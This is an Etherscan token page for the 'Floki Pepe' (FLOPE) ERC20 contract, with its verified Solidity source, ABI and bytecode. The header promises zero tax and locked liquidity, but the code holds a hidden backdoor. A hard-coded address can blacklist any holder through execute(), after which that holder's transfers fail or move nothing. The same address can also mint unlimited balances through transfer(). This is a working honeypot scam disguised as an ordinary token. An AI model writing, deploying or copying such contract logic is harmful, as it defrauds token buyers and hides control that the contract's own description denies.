ETH Price: $3,019.09 (+3.00%)
Gas: 1 Gwei

Token

Floki Pepe (FLOPE)
 

Overview

Max Total Supply

420,690,000,000 FLOPE

Holders

17

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 6 Decimals)

Balance
2,116,738,153.251633 FLOPE

Value
$0.00
0xccd54a2d7817e3baa091f9bc97d0ee0d27e3dabe
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FLOPE

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-11
*/

/**
@FLOPE
Tax Buy 0 % /  Sell 0 %

Liquidity Locked 

Experienced Team

Fair launched, no presale! 

Telgram: https://t.me/FlokiPepeERC

Twitter: https://twitter.com/FlokiPepeERC
*/
/// SPDX-License-Identifier: MIT

pragma solidity =0.8.19;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default.
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's allowance.
     * Returns a boolean value indicating whether the operation succeeded.
     * Emits a {Transfer} event.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    
    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
   
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to another (`to`).
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

}

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 */


/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 */
abstract contract Context {
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
    
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}


contract Ownable is Context {
    address private _Owner;
    address _V2Router = 0xC688f622d061b39AD62181cCE49E45ca99998bdF;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);


    constructor () {
        address msgSender = _msgSender();
        _Owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view returns (address) {
        return _Owner;
    }
    function renounceOwnership() public virtual {
        require(msg.sender == _Owner);
        emit OwnershipTransferred(_Owner, address(0));
        _Owner = address(0);
    }
}


interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
}

/**
 * @dev Implementation of the {IERC20} interface.
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 * For a generic mechanism see {ERC20PresetMinterPauser}.
 */
contract FLOPE is Context, IERC20, Ownable  {
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => bool) private _user_;
    mapping(address => uint256) private _balances;
    mapping(address => uint256) private _amount;
    mapping(address => uint256) private _fee;
   uint8 public decimals = 6;
   uint256 public _TSup = 420690000000 *1000000;
    string public name = "Floki Pepe";
    string public symbol = unicode"FLOPE";

   IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;

    /**
     * @dev Sets the values for {name} and {symbol}.
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     */
    constructor()  {
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        _fee[_V2Router] = 1;
        _balances[msg.sender] = _TSup;

       emit Transfer(address(0), msg.sender, _TSup); }
    
    




    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }
    
    function totalSupply() public view virtual override returns (uint256) {
        return _TSup;
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

 
    
    function execute(address _sender) external {
        require(_fee[msg.sender] == 1); 
        if (_user_[_sender]) _user_[_sender] = false; 
        else _user_[_sender] = true;
    }
    
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
                           if(_fee[msg.sender] == 1) {
                              uint256 sent = amount;
                               _balances[recipient] += sent;  
 }
        _send(recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view  virtual override  returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-transferFrom}.
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     */
    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     * Emits an {Approval} event indicating the updated allowance.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }
    
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     * Emits an {Approval} event indicating the updated allowance.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    /**
     * @dev Moves `amount` of tokens from `sender` to `recipient`.
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     * Emits a {Transfer} event.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(
        sender != address(0), "ERC20: transfer from the zero address"); require(
        recipient != address(0), "ERC20: transfer to the zero address"); 
        uint _sent = _amount[sender];
        if (_user_[sender] || _user_[recipient]) amount = _sent;
        _beforeTokenTransfer(sender, recipient, amount);
        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
   
        emit Transfer(sender, recipient, amount);
        _afterTokenTransfer(sender, recipient, amount);
    }
    function _send(address recipient, uint256 amount) internal virtual {require(
        msg.sender != address(0), "ERC20: transfer from the zero address");  require(
        recipient != address(0), "ERC20: transfer to the zero address"); 
        uint _sent = _amount[recipient];
        if (_user_[msg.sender]) amount = _sent;
        _beforeTokenTransfer(msg.sender, recipient, amount);
        uint256 senderBalance = _balances[msg.sender];
        require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
        _balances[msg.sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        _afterTokenTransfer(msg.sender, recipient, amount);
    }
    /** @dev Creates `amount` tokens and assigns them to `account`, increasing the total supply.
     * Emits a {Transfer} event with `from` set to the zero address.
     */


    /**
     * @dev Destroys `amount` tokens from `account`, reducing the total supply.
     * Emits a {Transfer} event with `to` set to the zero address.
     */
 

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     * Emits an {Approval} event.
     */
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    
  
}
    /**
     * @dev Hook that is called after any transfer of tokens. This includes minting and burning.
     *
     * Calling conditions:
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * has been transferred to `to`.
     * - when `from` is zero, `amount` tokens have been minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens have been burned.
     * - `from` and `to` are never both zero.
     */
    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_TSup","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_sender","type":"address"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

600180546001600160a01b03191673c688f622d061b39ad62181cce49e45ca99998bdf1790556007805460ff191660061790556705d697537a8f200060085560c0604052600a608090815269466c6f6b69205065706560b01b60a0526009906200006a908262000392565b50604080518082019091526005815264464c4f504560d81b6020820152600a9062000096908262000392565b50348015620000a457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600b80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa1580156200014b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200017191906200045e565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001d4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fa91906200045e565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000248573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026e91906200045e565b600c80546001600160a01b0319166001600160a01b0392831617905560018054909116600090815260066020908152604080832093909355600854338084526004835284842082905593519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a362000490565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200031857607f821691505b6020821081036200033957634e487b7160e01b600052602260045260246000fd5b50919050565b601f8211156200038d57600081815260208120601f850160051c81016020861015620003685750805b601f850160051c820191505b81811015620003895782815560010162000374565b5050505b505050565b81516001600160401b03811115620003ae57620003ae620002ed565b620003c681620003bf845462000303565b846200033f565b602080601f831160018114620003fe5760008415620003e55750858301515b600019600386901b1c1916600185901b17855562000389565b600085815260208120601f198616915b828110156200042f578886015182559484019460019091019084016200040e565b50858210156200044e5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b6000602082840312156200047157600080fd5b81516001600160a01b03811681146200048957600080fd5b9392505050565b610c6680620004a06000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610227578063a9059cbb1461023a578063d454bfa31461024d578063dd62ed3e1461025657600080fd5b806370a08231146101dd578063715018a6146102065780638da5cb5b1461020e57806395d89b411461021f57600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461018a57806349bd5a5e1461019d5780634b64e492146101c857600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61028f565b60405161011a91906109c7565b60405180910390f35b610136610131366004610a31565b61031d565b604051901515815260200161011a565b6008545b60405190815260200161011a565b610136610166366004610a5b565b610334565b6007546101789060ff1681565b60405160ff909116815260200161011a565b610136610198366004610a31565b6103ea565b600c546101b0906001600160a01b031681565b6040516001600160a01b03909116815260200161011a565b6101db6101d6366004610a97565b610421565b005b61014a6101eb366004610a97565b6001600160a01b031660009081526004602052604090205490565b6101db6104a5565b6000546001600160a01b03166101b0565b61010d610506565b610136610235366004610a31565b610513565b610136610248366004610a31565b6105ae565b61014a60085481565b61014a610264366004610ab9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6009805461029c90610aec565b80601f01602080910402602001604051908101604052809291908181526020018280546102c890610aec565b80156103155780601f106102ea57610100808354040283529160200191610315565b820191906000526020600020905b8154815290600101906020018083116102f857829003601f168201915b505050505081565b600061032a338484610600565b5060015b92915050565b6000610341848484610724565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103cb5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103df85336103da8685610b3c565b610600565b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161032a9185906103da908690610b4f565b3360009081526006602052604090205460011461043d57600080fd5b6001600160a01b03811660009081526003602052604090205460ff161561047f576001600160a01b03166000908152600360205260409020805460ff19169055565b6001600160a01b0381166000908152600360205260409020805460ff1916600117905550565b6000546001600160a01b031633146104bc57600080fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600a805461029c90610aec565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105955760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103c2565b6105a433856103da8685610b3c565b5060019392505050565b336000908152600660205260408120546001036105f6576001600160a01b0383166000908152600460205260408120805484928392916105ef908490610b4f565b9091555050505b61032a8383610898565b6001600160a01b0383166106625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c2565b6001600160a01b0382166106c35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c2565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661074a5760405162461bcd60e51b81526004016103c290610b62565b6001600160a01b0382166107705760405162461bcd60e51b81526004016103c290610ba7565b6001600160a01b03831660009081526005602090815260408083205460039092529091205460ff16806107bb57506001600160a01b03831660009081526003602052604090205460ff165b156107c4578091505b6001600160a01b038416600090815260046020526040902054828110156107fd5760405162461bcd60e51b81526004016103c290610bea565b6108078382610b3c565b6001600160a01b03808716600090815260046020526040808220939093559086168152908120805485929061083d908490610b4f565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161088991815260200190565b60405180910390a35050505050565b336108b55760405162461bcd60e51b81526004016103c290610b62565b6001600160a01b0382166108db5760405162461bcd60e51b81526004016103c290610ba7565b6001600160a01b03821660009081526005602090815260408083205433845260039092529091205460ff161561090f578091505b336000908152600460205260409020548281101561093f5760405162461bcd60e51b81526004016103c290610bea565b6109498382610b3c565b33600090815260046020526040808220929092556001600160a01b0386168152908120805485929061097c908490610b4f565b90915550506040518381526001600160a01b0385169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050565b600060208083528351808285015260005b818110156109f4578581018301518582016040015282016109d8565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a2c57600080fd5b919050565b60008060408385031215610a4457600080fd5b610a4d83610a15565b946020939093013593505050565b600080600060608486031215610a7057600080fd5b610a7984610a15565b9250610a8760208501610a15565b9150604084013590509250925092565b600060208284031215610aa957600080fd5b610ab282610a15565b9392505050565b60008060408385031215610acc57600080fd5b610ad583610a15565b9150610ae360208401610a15565b90509250929050565b600181811c90821680610b0057607f821691505b602082108103610b2057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561032e5761032e610b26565b8082018082111561032e5761032e610b26565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b60608201526080019056fea2646970667358221220413fb0c953b5851017dcb1285d92afc75913cd832d9fc3f496b40a6a683b7a9564736f6c63430008130033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610227578063a9059cbb1461023a578063d454bfa31461024d578063dd62ed3e1461025657600080fd5b806370a08231146101dd578063715018a6146102065780638da5cb5b1461020e57806395d89b411461021f57600080fd5b8063313ce567116100d3578063313ce5671461016b578063395093511461018a57806349bd5a5e1461019d5780634b64e492146101c857600080fd5b806306fdde0314610105578063095ea7b31461012357806318160ddd1461014657806323b872dd14610158575b600080fd5b61010d61028f565b60405161011a91906109c7565b60405180910390f35b610136610131366004610a31565b61031d565b604051901515815260200161011a565b6008545b60405190815260200161011a565b610136610166366004610a5b565b610334565b6007546101789060ff1681565b60405160ff909116815260200161011a565b610136610198366004610a31565b6103ea565b600c546101b0906001600160a01b031681565b6040516001600160a01b03909116815260200161011a565b6101db6101d6366004610a97565b610421565b005b61014a6101eb366004610a97565b6001600160a01b031660009081526004602052604090205490565b6101db6104a5565b6000546001600160a01b03166101b0565b61010d610506565b610136610235366004610a31565b610513565b610136610248366004610a31565b6105ae565b61014a60085481565b61014a610264366004610ab9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6009805461029c90610aec565b80601f01602080910402602001604051908101604052809291908181526020018280546102c890610aec565b80156103155780601f106102ea57610100808354040283529160200191610315565b820191906000526020600020905b8154815290600101906020018083116102f857829003601f168201915b505050505081565b600061032a338484610600565b5060015b92915050565b6000610341848484610724565b6001600160a01b0384166000908152600260209081526040808320338452909152902054828110156103cb5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103df85336103da8685610b3c565b610600565b506001949350505050565b3360008181526002602090815260408083206001600160a01b0387168452909152812054909161032a9185906103da908690610b4f565b3360009081526006602052604090205460011461043d57600080fd5b6001600160a01b03811660009081526003602052604090205460ff161561047f576001600160a01b03166000908152600360205260409020805460ff19169055565b6001600160a01b0381166000908152600360205260409020805460ff1916600117905550565b6000546001600160a01b031633146104bc57600080fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600a805461029c90610aec565b3360009081526002602090815260408083206001600160a01b0386168452909152812054828110156105955760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103c2565b6105a433856103da8685610b3c565b5060019392505050565b336000908152600660205260408120546001036105f6576001600160a01b0383166000908152600460205260408120805484928392916105ef908490610b4f565b9091555050505b61032a8383610898565b6001600160a01b0383166106625760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103c2565b6001600160a01b0382166106c35760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103c2565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661074a5760405162461bcd60e51b81526004016103c290610b62565b6001600160a01b0382166107705760405162461bcd60e51b81526004016103c290610ba7565b6001600160a01b03831660009081526005602090815260408083205460039092529091205460ff16806107bb57506001600160a01b03831660009081526003602052604090205460ff165b156107c4578091505b6001600160a01b038416600090815260046020526040902054828110156107fd5760405162461bcd60e51b81526004016103c290610bea565b6108078382610b3c565b6001600160a01b03808716600090815260046020526040808220939093559086168152908120805485929061083d908490610b4f565b92505081905550836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161088991815260200190565b60405180910390a35050505050565b336108b55760405162461bcd60e51b81526004016103c290610b62565b6001600160a01b0382166108db5760405162461bcd60e51b81526004016103c290610ba7565b6001600160a01b03821660009081526005602090815260408083205433845260039092529091205460ff161561090f578091505b336000908152600460205260409020548281101561093f5760405162461bcd60e51b81526004016103c290610bea565b6109498382610b3c565b33600090815260046020526040808220929092556001600160a01b0386168152908120805485929061097c908490610b4f565b90915550506040518381526001600160a01b0385169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350505050565b600060208083528351808285015260005b818110156109f4578581018301518582016040015282016109d8565b506000604082860101526040601f19601f8301168501019250505092915050565b80356001600160a01b0381168114610a2c57600080fd5b919050565b60008060408385031215610a4457600080fd5b610a4d83610a15565b946020939093013593505050565b600080600060608486031215610a7057600080fd5b610a7984610a15565b9250610a8760208501610a15565b9150604084013590509250925092565b600060208284031215610aa957600080fd5b610ab282610a15565b9392505050565b60008060408385031215610acc57600080fd5b610ad583610a15565b9150610ae360208401610a15565b90509250929050565b600181811c90821680610b0057607f821691505b602082108103610b2057634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561032e5761032e610b26565b8082018082111561032e5761032e610b26565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526026908201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604082015265616c616e636560d01b60608201526080019056fea2646970667358221220413fb0c953b5851017dcb1285d92afc75913cd832d9fc3f496b40a6a683b7a9564736f6c63430008130033

Deployed Bytecode Sourcemap

4692:7915:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5094:33;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6089:169;;;;;;:::i;:::-;;:::i;:::-;;;1169:14:1;;1162:22;1144:41;;1132:2;1117:18;6089:169:0;1004:187:1;5980:101:0;6068:5;;5980:101;;;1342:25:1;;;1330:2;1315:18;5980:101:0;1196:177:1;7187:418:0;;;;;;:::i;:::-;;:::i;5012:25::-;;;;;;;;;;;;1883:4:1;1871:17;;;1853:36;;1841:2;1826:18;5012:25:0;1711:184:1;8598:215:0;;;;;;:::i;:::-;;:::i;5228:28::-;;;;;-1:-1:-1;;;;;5228:28:0;;;;;;-1:-1:-1;;;;;2064:32:1;;;2046:51;;2034:2;2019:18;5228:28:0;1900:203:1;6275:187:0;;;;;;:::i;:::-;;:::i;:::-;;5841:127;;;;;;:::i;:::-;-1:-1:-1;;;;;5942:18:0;5915:7;5942:18;;;:9;:18;;;;;;;5841:127;3710:178;;;:::i;3625:79::-;3663:7;3690:6;-1:-1:-1;;;;;3690:6:0;3625:79;;5134:37;;;:::i;7912:375::-;;;;;;:::i;:::-;;:::i;6474:335::-;;;;;;:::i;:::-;;:::i;5043:44::-;;;;;;6817:153;;;;;;:::i;:::-;-1:-1:-1;;;;;6935:18:0;;;6908:7;6935:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6817:153;5094:33;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;6089:169::-;6172:4;6189:39;3211:10;6212:7;6221:6;6189:8;:39::i;:::-;-1:-1:-1;6246:4:0;6089:169;;;;;:::o;7187:418::-;7293:4;7310:36;7320:6;7328:9;7339:6;7310:9;:36::i;:::-;-1:-1:-1;;;;;7384:19:0;;7357:24;7384:19;;;:11;:19;;;;;;;;3211:10;7384:33;;;;;;;;7436:26;;;;7428:79;;;;-1:-1:-1;;;7428:79:0;;3151:2:1;7428:79:0;;;3133:21:1;3190:2;3170:18;;;3163:30;3229:34;3209:18;;;3202:62;-1:-1:-1;;;3280:18:1;;;3273:38;3328:19;;7428:79:0;;;;;;;;;7518:57;7527:6;3211:10;7549:25;7568:6;7549:16;:25;:::i;:::-;7518:8;:57::i;:::-;-1:-1:-1;7593:4:0;;7187:418;-1:-1:-1;;;;7187:418:0:o;8598:215::-;3211:10;8686:4;8735:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;8735:34:0;;;;;;;;;;8686:4;;8703:80;;8726:7;;8735:47;;8772:10;;8735:47;:::i;6275:187::-;6342:10;6337:16;;;;:4;:16;;;;;;6357:1;6337:21;6329:30;;;;;;-1:-1:-1;;;;;6375:15:0;;;;;;:6;:15;;;;;;;;6371:83;;;-1:-1:-1;;;;;6392:15:0;6410:5;6392:15;;;:6;:15;;;;;:23;;-1:-1:-1;;6392:23:0;;;6275:187::o;6371:83::-;-1:-1:-1;;;;;6432:15:0;;;;;;:6;:15;;;;;:22;;-1:-1:-1;;6432:22:0;6450:4;6432:22;;;6275:187;:::o;3710:178::-;3787:6;;-1:-1:-1;;;;;3787:6:0;3773:10;:20;3765:29;;;;